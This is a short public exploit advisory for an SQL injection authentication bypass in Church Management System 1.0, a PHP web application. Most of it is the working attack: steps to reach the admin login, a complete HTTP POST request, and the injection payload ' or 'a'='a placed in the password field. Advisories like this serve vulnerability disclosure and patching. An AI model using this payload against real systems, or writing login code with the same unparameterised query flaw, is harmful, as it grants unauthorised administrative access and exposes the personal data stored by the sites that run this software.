Church Management System 1.0 SQL Injection

`# Exploit Title: Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass)  
# Date: 07/03/2021  
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html  
# Version: 1.0  
# Tested on: Windows 10  
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.  
  
# Proof of Concept :  
  
1-Go to http://target.com/cman/admin  
2-Write the following payload to username and admin parameter and click login.  
  
######################## REQUEST ###############################  
  
POST /cman/admin/index.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 51  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/cman/admin/index.php  
Cookie: PHPSESSID=cne5l4cs93krjqobput7nv7sjc  
Upgrade-Insecure-Requests: 1  
  
username=test&password=%27+or+%27a%27%3D%27a&login=  
  
################################################################  
  
PAYLOAD:  
  
# username : test  
# password : ' or 'a'='a  
`